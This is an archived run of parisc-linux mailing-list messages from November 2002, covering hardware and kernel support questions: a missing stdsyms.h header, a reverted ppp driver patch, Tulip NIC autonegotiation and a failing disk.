X-Trace: ger.gmane.org 1416621958 17462 80.91.229.3 (22 Nov 2014 02:05:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:58 +0000 (UTC)
To: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 11:36:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7B183482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 11:36:52 -0700 (MST)
Original-Received: from xparelay1.ptp.hp.com (xparelay1.ptp.hp.com [15.1.28.62])
	by palrel12.hp.com (Postfix) with ESMTP id 1C615E00A37
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 10:36:48 -0800 (PST)
Original-Received: from xpabh1.ptp.hp.com (xpabh1.ptp.hp.com [15.1.28.60])
	by xparelay1.ptp.hp.com (Postfix) with ESMTP id 03059E002F0
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 10:36:28 -0800 (PST)
Original-Received: by xpabh1.ptp.hp.com with Internet Mail Service (5.5.2655.55)
	id <XLMT1TK4>; Fri, 22 Nov 2002 10:36:17 -0800
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16895

Hi people,

	To compile the sourcecode that I am migrating, I need of stdsyms.h
include file. What package is necessary to acquire this file?

Thanks in advance

-----------------------------------------------------------------------
              Leandro Marcondes Farinati
                    Software Developer

*   leandro.farinati@hp.com
*   +55-51-3316-2852 Telnet  725-2852
FAX +55-51-3316-2754 Mobile +55-51-9965-8020





From - Thu Nov 08 21:25:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marty Wojciechowski <marty.wojciechowski@amcol.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Remove user
Date: Fri, 22 Nov 2002 12:58:27 -0600
Lines: 101
Approved: news@gmane.org
Message-ID: <466EEDE4653DD41195EA00508BAC968501A60B9D@AMCHIEXCH01>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C29259.23BBFD64"
X-Trace: ger.gmane.org 1416621958 17464 80.91.229.3 (22 Nov 2014 02:05:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:58 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 12:03:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from amchiexch01.amcol.com (unknown [12.107.111.204])
	by dsl2.external.hp.com (Postfix) with ESMTP id D48AF482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 12:03:11 -0700 (MST)
Original-Received: by AMCHIEXCH01 with Internet Mail Service (5.5.2653.19)
	id <XLKVPHM4>; Fri, 22 Nov 2002 12:58:27 -0600
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16896

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C29259.23BBFD64
Content-Type: text/plain

To whom it may concern,

 

Please remove the address dan.mclaughlin@amcol.com
<mailto:dan.mclaughlin@amcol.com>  from you list.  He is no longer with our
company.

 

Thanks you,

Marty Wojciechowski

Network Technician

AMCOL International


------_=_NextPart_001_01C29259.23BBFD64
Content-Type: text/html

<html>

<head>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">


<meta name=Generator content="Microsoft Word 10 (filtered)">

<style>
<!--
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0in;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;}
span.EmailStyle17
	{font-family:Arial;
	color:windowtext;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;}
div.Section1
	{page:Section1;}
-->
</style>

</head>

<body lang=EN-US link=blue vlink=purple>

<div class=Section1>

<p class=MsoNormal><font size=2 face=Arial><span style='font-size:10.0pt;
font-family:Arial'>To whom it may concern,</span></font></p>

<p class=MsoNormal><font size=2 face=Arial><span style='font-size:10.0pt;
font-family:Arial'>&nbsp;</span></font></p>

<p class=MsoNormal><font size=2 face=Arial><span style='font-size:10.0pt;
font-family:Arial'>Please remove the address <a
href="mailto:dan.mclaughlin@amcol.com">dan.mclaughlin@amcol.com</a> from you
list. &nbsp;He is no longer with our company.</span></font></p>

<p class=MsoNormal><font size=2 face=Arial><span style='font-size:10.0pt;
font-family:Arial'>&nbsp;</span></font></p>

<p class=MsoNormal><font size=2 face=Arial><span style='font-size:10.0pt;
font-family:Arial'>Thanks you,</span></font></p>

<p class=MsoNormal><font size=2 face=Arial><span style='font-size:10.0pt;
font-family:Arial'>Marty Wojciechowski</span></font></p>

<p class=MsoNormal><font size=2 face=Arial><span style='font-size:10.0pt;
font-family:Arial'>Network Technician</span></font></p>

<p class=MsoNormal><font size=2 face=Arial><span style='font-size:10.0pt;
font-family:Arial'>AMCOL International</span></font></p>

</div>

</body>

</html>

------_=_NextPart_001_01C29259.23BBFD64--


From - Thu Nov 08 21:25:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] DIFF 2.4.20-rc1-pa7
Date: Fri, 22 Nov 2002 20:01:32 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20021122200132.A29028@parcelfarce.linux.theplanet.co.uk>
References: <20021122055423.B892D482B@dsl2.external.hp.com> <20021122182325.52708482B@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621958 17469 80.91.229.3 (22 Nov 2014 02:05:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 13:01:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 92B0B482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 13:01:37 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18FJzY-0003Og-00; Fri, 22 Nov 2002 20:01:32 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021122182325.52708482B@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Fri, Nov 22, 2002 at 11:23:25AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16897

On Fri, Nov 22, 2002 at 11:23:25AM -0700, Grant Grundler wrote:
> Index: drivers/net/ppp_generic.c
> ===================================================================
> RCS file: /var/cvs/linux/drivers/net/ppp_generic.c,v
> retrieving revision 1.14
> diff -u -p -r1.14 ppp_generic.c
> --- drivers/net/ppp_generic.c	13 Nov 2002 16:57:46 -0000	1.14
> +++ drivers/net/ppp_generic.c	22 Nov 2002 05:53:55 -0000
> @@ -387,9 +387,9 @@ static ssize_t ppp_read(struct file *fil
>  	for (;;) {
>  		set_current_state(TASK_INTERRUPTIBLE);
>  		skb = skb_dequeue(&pf->rq);
> +		ret = 0;
>  		if (skb)
>  			break;
> -		ret = 0;
>  		if (pf->dead)
>  			break;
>  		ret = -EAGAIN;

Uhh.. why have you made this change?  It's clearly wrong and diverges
from upstream.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] stdsyms.h
Date: Fri, 22 Nov 2002 20:04:58 +0000
Lines: 9
Approved: news@gmane.org
Message-ID: <20021122200458.B29028@parcelfarce.linux.theplanet.co.uk>
References: <CB813811CBF6D3118DCC00902740BB4A0B89AE6D@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621959 17471 80.91.229.3 (22 Nov 2014 02:05:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:59 +0000 (UTC)
Cc: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
To: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 13:05:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 390A7482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 13:05:03 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18FK2s-0003TI-00; Fri, 22 Nov 2002 20:04:58 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <CB813811CBF6D3118DCC00902740BB4A0B89AE6D@xsp01.brazil.hp.com>; from leandro.farinati@hp.com on Fri, Nov 22, 2002 at 10:36:08AM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16898

On Fri, Nov 22, 2002 at 10:36:08AM -0800, FARINATI,LEANDRO (HP-Brazil,ex1) wrote:
> 	To compile the sourcecode that I am migrating, I need of stdsyms.h
> include file. What package is necessary to acquire this file?

never heard of it.  from a quick google search, it looks like an hpux-ism.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] stdsyms.h
Date: Fri, 22 Nov 2002 15:15:00 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <200211222015.gAMKF0eP006920@hiauly1.hia.nrc.ca>
References: <20021122200458.B29028@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621959 17474 80.91.229.3 (22 Nov 2014 02:05:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:59 +0000 (UTC)
Cc: leandro.farinati@hp.com, parisc-linux@lists.parisc-linux.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 13:15:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C5FC482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 13:15:07 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAMKF1ot006921;
	Fri, 22 Nov 2002 15:15:01 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAMKF0eP006920;
	Fri, 22 Nov 2002 15:15:00 -0500 (EST)
In-Reply-To: <20021122200458.B29028@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Nov 22, 2002 08:04:58 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16899

> On Fri, Nov 22, 2002 at 10:36:08AM -0800, FARINATI,LEANDRO (HP-Brazil,ex1) wrote:
> > 	To compile the sourcecode that I am migrating, I need of stdsyms.h
> > include file. What package is necessary to acquire this file?
> 
> never heard of it.  from a quick google search, it looks like an hpux-ism.

It's actually sys/stdsyms.h and its function is similar to that of features.h.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Leif Harcke <lharcke@Stanford.EDU>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Tulip driver fails to advertise 100baseTx media capability
Date: Fri, 22 Nov 2002 13:29:40 -0800 (PST)
Lines: 69
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0211221116130.28782-100000@chirp.Stanford.EDU>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621959 17475 80.91.229.3 (22 Nov 2014 02:05:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 14:29:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from chirp.Stanford.EDU (chirp.Stanford.EDU [171.64.90.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6C029482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 14:29:55 -0700 (MST)
Original-Received: (from lharcke@localhost)
	by chirp.Stanford.EDU (8.11.6/8.11.6) id gAMLTlV28911;
	Fri, 22 Nov 2002 13:29:47 -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16900

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Just got Debian 3.0 (woody) booted on a C240.  When the Tulip driver is
initialized by the kernel, it fails to advertise the 100baseTx media
capability of the DS21143 chip.  I think this is a kernel issue, not a
Debian or Tulip issue.

Setting the PDC/firmware (v. 6.3, latest for the C240) to force the
100/Full duplex rate at boot time doesn't fix the problem, nor does
issuing an "ether=0,0,[11|14],eth0" to the kernel from the PALO kernel
parameters line.

I think the way Tulip is called by the kernel somehow causes only 10baseT
to be advertised.  It's easy enough to correct after the fact with a
simple "mii-tool -A" command, but it would be nicer if the media
advertising was properly set by the kernel at boot time.  See output of
uname, dmesg, and mii-tool below.

A thousand pardons if this is the wrong list for this bug.  I'll re-post
to the debian-hppa or the tulip list if people think those are the proper
places.

- --
Leif Harcke
lharcke@stanford.edu


sar2:~# uname -a
Linux sar2 2.4.18-32 #1 Sat Mar 30 18:26:22 MST 2002 parisc unknown

sar2:~# dmesg | grep ulip
Linux Tulip driver version 0.9.15-pre9 (Nov 6, 2001)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 0061.
eth0: Digital DS21143 Tulip rev 65 at 0xff00, 00:10:83:05:73:95, IRQ 96.

sar2:~# mii-tool -v
eth0: negotiated 10baseT-FD, link ok
  product info: Level One LXT970/971 rev 1
  basic mode:   autonegotiation enabled
  basic status: autonegotiation complete, link ok
  capabilities: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
  advertising:  10baseT-FD 10baseT-HD
  link partner: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD

sar2:~# mii-tool -A 100baseTx-FD,100baseTx-HD,10baseT-FD,10baseT-HD
restarting autonegotiation...

sar2:~# mii-tool -v
eth0: negotiated 100baseTx-FD, link ok
  product info: Level One LXT970/971 rev 1
  basic mode:   autonegotiation enabled
  basic status: autonegotiation complete, link ok
  capabilities: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
  advertising:  100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
  link partner: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD



-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)

iD8DBQE93qHLFW+DB6BX7gwRAkErAJ4rIddaK6G9pczszUoU4ySyGsHvZACfXzWj
J01G1z7IQixy0UaYiAxnfQQ=
=9Ttl
-----END PGP SIGNATURE-----



From - Thu Nov 08 21:25:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] DIFF 2.4.20-rc1-pa7
Date: Fri, 22 Nov 2002 14:37:23 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <20021122213723.DF9FB482B@dsl2.external.hp.com>
References: <20021122055423.B892D482B@dsl2.external.hp.com> <20021122182325.52708482B@dsl2.external.hp.com>  <20021122200132.A29028@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621959 17477 80.91.229.3 (22 Nov 2014 02:05:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 14:37:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id DF9FB482B; Fri, 22 Nov 2002 14:37:23 -0700 (MST)
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Fri, 22 Nov 2002 20:01:32 GMT." <20021122200132.A29028@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16901

Matthew Wilcox wrote:
> Uhh.. why have you made this change?  It's clearly wrong and diverges
> from upstream.

reverted - I didn't see upstream had fixed it differently.

sorry,
grant


From - Thu Nov 08 21:25:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Smith <james@compusmithllc.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Disk problems
Date: 22 Nov 2002 16:29:19 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <1038000560.444.9.camel@seventy>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621960 17481 80.91.229.3 (22 Nov 2014 02:06:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 15:00:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from eightythree.valleybikes.com (valleybikes.com [24.123.22.113])
	by dsl2.external.hp.com (Postfix) with ESMTP id E5190482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 15:00:00 -0700 (MST)
Original-Received: from localhost.localdomain (root@seventy.compusmithllc.com [192.168.194.70])
	by eightythree.valleybikes.com (8.12.5/8.12.5/Debian-1) with ESMTP id gAMLTK34021369
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Nov 2002 16:29:21 -0500
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16902

I just got a pile of 712/60's - $80 for 10 of em :)


i've set one up & now i'm going through the disks one at a time &
cloning them as its quicker than going through the install each time


i've hit one disk that gives me this whenever i try to fdisk it 


sixty:~# fdisk /dev/sdb

Unable to read /dev/sdb


when i tried to zero the disk, i got this....

sixty:~# dd if=/dev/zero of=/dev/sdb count=1 bs=512 
dd: writing `/dev/sdb': Input/output error
1+0 records in
0+0 records out

the console sees the disk when i use search 

does this indicate a dead disk?

the disk was ok until i put it into a mac......

James S





From - Thu Nov 08 21:25:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tulip driver fails to advertise 100baseTx media capability
Date: Fri, 22 Nov 2002 15:09:37 -0700
Lines: 79
Approved: news@gmane.org
Message-ID: <20021122220937.29082482B@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0211221116130.28782-100000@chirp.Stanford.EDU>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621960 17485 80.91.229.3 (22 Nov 2014 02:06:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Leif Harcke <lharcke@Stanford.EDU>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov 22 15:09:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 29082482B; Fri, 22 Nov 2002 15:09:37 -0700 (MST)
In-Reply-To: Message from Leif Harcke <lharcke@Stanford.EDU> 
   of "Fri, 22 Nov 2002 13:29:40 PST." <Pine.LNX.4.44.0211221116130.28782-100000@chirp.Stanford.EDU> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
